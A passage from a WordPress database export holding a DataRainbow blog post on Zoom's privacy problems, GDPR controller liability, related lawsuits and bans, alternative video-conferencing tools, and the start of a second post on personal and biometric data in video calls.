href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home&amp;usg=ALkJrhgYf3fmViFdYwU6362e92roBWIw2Q\">ENISA</a>&nbsp;‘&nbsp;<em>cybersecurity when working from home’</em>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The use of the Zoom application has already been subject to liability lawsuits:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades&amp;usg=ALkJrhj-jFag30DEps3yDvzZO-mE_kPwdQ\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.theregister.co.uk/2020/04/01/zoom_spotlight/&amp;usg=ALkJrhhQpBNjPaB6n21CUZKKrVbOJmbcpg\" target=\"_blank\">lawsuit</a>&nbsp;&nbsp;[PDF], filed on Monday in California.&nbsp;The plaintiff in this case, Robert Cullen of Sacramento, California,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.theregister.co.uk/2020/04/01/zoom_spotlight/&amp;usg=ALkJrhhQpBNjPaB6n21CUZKKrVbOJmbcpg\">The Register.</a></em></li><li>Controller responsibility regarding use of ZOOM :Use of ZOOM requires an organisation to enter into a&nbsp;<strong>processing agreement</strong>&nbsp;with ZOOM. For this, a standard agreement has been drawn up by ZOOM whereby many of the responsibilities for processing personal data are placed with the controller. See the&nbsp;<a href=\"https://zoom.us/docs/doc/Zoom_Data_Processing_Addendum_Processor_Form_Final-SIGNED.pdf\">addendum for this</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says&amp;usg=ALkJrhi8nkNmlsHXdFaRkhdBCn25Gk18LQ\">Brittany Roush, Director at the Crypsis Group, said</a>&nbsp;: “That having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR.&nbsp;If anything, it demonstrates that the regulatory bodies are carrying out their essential function – which is to ensure that companies protect consumer data… In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic… we do not have the luxury of time on our side to motto perfect solutions.</em></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zoom-credentials-database-available-dark-web%3F&amp;usg=ALkJrhiHh5V6iBXnGKy2ET02PFwNUFZ4iA\">Zoom Credentials Database Available on Dark Web</a></li><li><a href=\"http://%20https//www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://medium.com/a-change-is-coming/what-zoom-can-learn-from-microsoft-aec876b79968&amp;usg=ALkJrhjBtuOwBYzF9YzkBKKshDGRweBcjg\">Lessons from the Past: What Zoom can learn from Microsoft</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J&amp;usg=ALkJrhjcq5VPn95-H1hOBy8xgZqJ5QV38g\">Elon Musk’s SpaceX bans Zoom over privacy concerns – memo</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm&amp;usg=ALkJrhix6zz3Jtqs3q9k1imlSTo_QS2YZw\">The Interdepartmental Digital Directorate “strongly advises” against the Zoom application</a></li><li><a href=\"https://www.reuters.com/article/us-zoom-video-comm-privacy-singapore-idUSKCN21S0AH\">Singapore stops teachers using Zoom app after ‘very serious incidents’</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193&amp;usg=ALkJrhiGCYK2TwzPqbKd3NT0n2QaxPed7A\">Increasingly discouraged, Zoom calls on the former chief security officer of Facebook&nbsp;</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/&amp;usg=ALkJrhhxsK7ZZubFewMxuWXGygg-zeRn8Q\">Why Most Should Avoid An ‘Out Of Control’ Zoom Right Now</a></li><li><a href=\"https://www-washingtonpost-com.cdn.ampproject.org/c/s/www.washingtonpost.com/technology/2020/04/03/thousands-zoom-video-calls-left-exposed-open-web/?outputType=amp\">Thousands of Zoom video calls left exposed on open Web</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/&amp;usg=ALkJrhjQwe-y_3jTSdQdTtPhvYERj_V5Mg\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li><li><a href=\"https://www.law360.com/articles/1263127/facebook-linkedin-sued-for-eavesdropping-on-zoom-users\">Facebook, LinkedIn Sued For ‘Eavesdropping’ On Zoom Users.</a></li><li>A class-action lawsuit has been brought against Facebook, LinkedIn and Zoom alleging personal information from Zoom user accounts was shared to the social networking sites.</li><li><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html?smid=linkedin\">A Feature on Zoom Secretly Displayed Data From People’s LinkedIn Profiles</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zoom-credentials-database-available-dark-web%3F&amp;usg=ALkJrhiHh5V6iBXnGKy2ET02PFwNUFZ4iA\">Zoom Credentials Database Available on Dark Web</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom is surely not the only company disrespectful of users security and privacy. Hopefully Data Protection Authorities will further investigate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.independent.ie/business/technology/irish-data-protection-commissioner-liaises-with-european-colleagues-over-zoom-concerns-39119838.html?mkt_tok=eyJpIjoiWVRCbU4yTXpZelkyWkRneiIsInQiOiJCK2hkY0dGTTRmSEZBaHZmRkJxNXVSeDA5QlFlY25TVDhPUW56RWx2S29VdDIzejVBQWhrbUFrQjZuOGFIQzc5UkUzb0lhNUh6TW1CTDdhM01rN3VPa3k0UWV3Zzhlek0wenQ0ampmTEY3SVk3Sit5clQ1OHlrVGNMQWsyRnR6MSJ9\">Irish data protection commissioner liaises with European colleagues over Zoom concerns</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Meanwhile, concerns are not where you would expect them to be :&nbsp;<a href=\"https://www.abajournal.com/news/article/lawyers-are-dressing-way-too-casual-during-zoom-hearings-judge-says\">Lawyers are dressing way too casual during Zoom court hearings, judge says</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>So in conclusion, it is imperative to properly assess the impact of the choice of a technology on data protection.&nbsp;A lawyer or whoever handles sensitive data entrusted to him or in the course of his mission, is required to apply the greatest vigilance.&nbsp;Impact assessment is essential.&nbsp;In its absence, the questioning of responsibility is to be feared.</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>What are the alternative solutions?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://jitsi.org/jitsi-meet/&amp;usg=ALkJrhi_3ppmOKDiranVC_IsLrhe18E7UA\">Jitsi&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.tixeo.com/&amp;usg=ALkJrhhF_DEeCfhMnfkHTBPeAKR8ub0nhw\">Tixeo</a>&nbsp;recommended by ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bigbluebutton.org/&amp;usg=ALkJrhgiJHoOpiXLRwtPUokndTcDUSDhDQ\">BigBlueButton&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.visio-avocats.com/&amp;usg=ALkJrhgbfDjM6a5KFZ1o1vRov5xYyCQmsg\">Video lawyers</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://pages.bluejeans.com/video-conferencing-trial.html%3Futm_source%3Dgoogle%26utm_medium%3Dcpc%26personsource%3Dpaid_search%26utm_content%3DTrialLP%26utm_term%3D%252Bbluejeans%2520%252Bconference%26utm_campaign%3DEMEA%2520-%2520Branded%2520General%26utm_adgroup%3DEMEA%2520-%2520Branded%2520General%2520-%2520BlueJeans%2520Business&amp;usg=ALkJrhiHAfI7XDGvv4y-Nwy400-NlpnTSQ\">BlueJeans&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.skype.com/en/&amp;usg=ALkJrhizHn8lSLSgSgdL9_wSc3_6Z8xOvw\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.gotomeeting.com/en-gb/lp/easy-online-meetings%3Fcid%3Dg2m_emea_ggs_cpc_brand_gotomeeting_e&amp;usg=ALkJrhinQNUNLaxB4Hi4abKNb18ajKaV5w\">GotoMeeting&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://products.office.com/en-gb/microsoft-teams/group-chat-software&amp;usg=ALkJrhjsfwbJiehQtwCKu4ps3Fo6jXwFCw\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html%3Fdtid%3Dpseggl000183%26oid%3Dtrlco020841%26ccid%3Dcc000703%26gclsrc%3Dds%26gclsrc%3Dds&amp;usg=ALkJrhgyDNBVTJ1Vi74treqMrTb29JJo0Q\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651} -->\n<figure class=\"wp-block-image\"><img src=\"https://translate.googleusercontent.com/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2yoXVIG&amp;usg=ALkJrhjwq8hjfqXS-XW6slP6GnGF3qEPeQ\">Your&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf&amp;usg=ALkJrhgEZJAXGwU4Hf5Zfh4Fos4b2xzNbA\">NOYB comparison chart&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2yoXVIG&amp;usg=ALkJrhjwq8hjfqXS-XW6slP6GnGF3qEPeQ\">&nbsp;&nbsp;– For the version with active links,&nbsp;&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Other&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2wLRJKs&amp;usg=ALkJrhjO23zt9RB8B9gwnc7Ia6l-hMqduQ\">comparative table produced by the&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://autoriteitpersoonsgegevens.nl/sites/default/files/atoms/files/keuzehulp_privacy_videobellen.pdf&amp;usg=ALkJrhgsZzuNmOIfnfTTrvjZnkHOfaa8yQ\">Dutch&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2wLRJKs&amp;usg=ALkJrhjO23zt9RB8B9gwnc7Ia6l-hMqduQ\">Data Protection Authority</a>&nbsp;translated by&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/PiracyByDesign&amp;usg=ALkJrhiLaTXf06F1PcEos6Yl4uIsoL05pQ\">Christopher SCHMIDT Data Privacy Specialist • Magister of Law CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"https://datarainbow.eu/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:list -->\n<ul><li>CONTINUE TO FOLLOW THIS TRAD IN&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465&amp;usg=ALkJrhjopVjOOzHXwujuTUoOzhuCTJXpmg\">PEARLTREES</a>&nbsp;ACCOUNT&nbsp;ON WHICH THE LATEST NEWS AND ARTICLE ON THIS SUBJECT ARE GROUPED.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>If you still wanted to continue using this application, here are some tips on how to use Zoom more safely:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>–&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe&amp;usg=ALkJrhgLStIdsKDBr7erTXFPJYlksZC9TQ\">How to keep your Virtual (Zoom) Meetings safe</a></em><em>&nbsp;:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/data-protection-commissioner-of-ireland/&amp;usg=ALkJrhi9Jb2JyerCKcuopWGH77wZYYNulA\"><strong>Data Protection Commission Ireland</strong></a>. In light of the recent increase in remote working, necessitated by COVID-19 mitigation measures, as well as the increased numbers keeping in touch online with friends and family, the number of people video-conferencing and video-calling has increased dramatically. This has also resulted in people using apps and services which they might not have used before, or are now using for different reasons – ie using an app they usually use for personal purposes now for work purposes or vice versa. Concerns have been raised about how to use these technologies to keep in touch with colleagues and loved ones in a way that is safe and secure, and ensures an adequate standard of data protection.Here are some tips to help both individuals and organizations (such as employers who might introduce new or increased videoconferencing arrangements for employees) use these services in a safe manner:<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://lnkd.in/e8mpd8n&amp;usg=ALkJrhhK9QmV_SWs00jBbpi9o4y4o6EY8A\" target=\"_blank\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=http://creativecommons.org/licenses/by/4.0/&amp;usg=ALkJrhhlCHDdIskVLuBz-aYeLh0JgcYicA\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>&nbsp;.POSTED IN:&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/consent/&amp;usg=ALkJrhjQqCy_4ECg_ioGRT3bkIXG0zRWRA\">CONSENT</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/data-protection/&amp;usg=ALkJrhj1fXnqBuv0VEmmqWEl7bFFmHkiRw\">DATA PROTECTION</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/gdpr/&amp;usg=ALkJrhjsJ2a5Vu5OVwai3wPuh4w58NzUAQ\">GDPR</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/privacy/&amp;usg=ALkJrhgYsHxOBfzThHiIDQAMssqFEpzNGA\">PRIVACY</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/privacy-notice/&amp;usg=ALkJrhjvDLFpjGfSXlG4OpAEFjdAfgDEog\">PRIVACY NOTICE</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/tara-taubman-bassirian/&amp;usg=ALkJrhj-_eysplF57Qim2AwXrcoZfBIZhA\">TARA TAUBMAN-BASSIRIAN</a>&nbsp;FILED UNDER:&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/tag/video-conferencing/&amp;usg=ALkJrhhjzPhmtFc4kmyjQ8l_kH6L_tDzgQ\">VIDEO-CONFERENCING</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/tag/zoom/&amp;usg=ALkJrhhwMu95nf7OIL2X-UfQI-XDCJqCGA\">ZOOM</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Photo by Geoff LowePOSTED IN:&nbsp;<a href=\"https://datarainbow.eu/category/consent/\">CONSENT</a>,&nbsp;<a href=\"https://datarainbow.eu/category/data-protection/\">DATA PROTECTION</a>,&nbsp;<a href=\"https://datarainbow.eu/category/gdpr/\">GDPR</a>,&nbsp;<a href=\"https://datarainbow.eu/category/privacy/\">PRIVACY</a>,&nbsp;<a href=\"https://datarainbow.eu/category/privacy-notice/\">PRIVACY NOTICE</a>,&nbsp;<a href=\"https://datarainbow.eu/category/tara-taubman-bassirian/\">TARA TAUBMAN-BASSIRIAN</a>&nbsp;FILED UNDER:&nbsp;<a href=\"https://datarainbow.eu/tag/encryption/\">ENCRYPTION</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/liability/\">LIABILITY</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/privacy/\">PRIVACY</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/security/\">SECURITY</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/videconferencing/\">VIDECONFERENCING</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/zoom/\">ZOOM</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/zoombombing/\">ZOOMBOMBING</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>POST NAVIGATION</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://datarainbow.eu/2020/04/07/601/\">← ZOOM VISIO-CONFÉRENCE POUR LES JURISTES</a><a href=\"https://datarainbow.eu/2020/04/29/stop-covid-combattre-la-pandemie-sans-perdre-la-democratie/\">STOP-COVID COMBATTRE LA PANDÉMIE SANS INFECTER LA DÉMOCRATIE →</a>Copyright © 2020 DataRainbow — Stout WordPress theme by&nbsp;<a href=\"https://www.godaddy.com/\">GoDaddy</a></p>\n<!-- /wp:paragraph -->','ZOOM VIDEOCONFERENCING PRIVACY AND LIABILITY','A Look At The Many Considerations to Keep in Mind Before Using A Video Conferencing Technology .','publish','closed','closed','','zoom-videoconferencing-privacy-and-liability-2','','','2020-05-05 10:46:23','2020-05-05 09:46:23','',0,'http://datarainbow.eu/?p=893',0,'post','',0),(894,5,'2020-05-05 10:46:19','2020-05-05 09:46:19','<!-- wp:heading {\"level\":1} -->\n<h1></h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>19TH APRIL 2020&nbsp;<a href=\"https://datarainbow.eu/author/tara/\">TARA</a>19TH APRIL 2020&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/author/tara/&amp;usg=ALkJrhj3t2QRwu1wyrsKu0Uv6SyUDGFCmQ\">TARA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>A Look At The Many Considerations to Keep in Mind Before Using A Video Conferencing Technology</strong>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A deep look at the main legal consequences linked to the use of the free video conferencing application Zoom, which has become very popular, with an increase of 20 to 200 million users in a space of a few days, propelled by the needs of confinement and remote working imposed by the Covid-19 pandemic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, schematically, four categories of data are concerned with more or less self data sharing:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>the organisers’ data,&nbsp;</li><li>the Guest data,</li><li>Data from third parties mentioned during the videoconference,</li><li>Data concerning minors.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Among these, two categories of data:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data</strong>&nbsp;with a relatively broad definition of&nbsp;<strong><a href=\"https://gdpr-info.eu/art-4-gdpr/\">Article&nbsp;4</a></strong></li><li>The so-called&nbsp;<strong>special category data</strong>&nbsp;or sensitive data, which in principle should not be processed unless exception.&nbsp;The processing of this data is strictly framed as subject to specific protection as defined in&nbsp;<a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Biometric data and other special data processed during the use of video conferences.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data processed by a video recording can be considered as ‘biometric’ data when the images can be used to identify individuals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>According to a ruling by the European Court of Justice, C-101/01 (November 6, 2003):</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>“The operation of referring, on a web page, to various people and identifying them either by name or by other means, 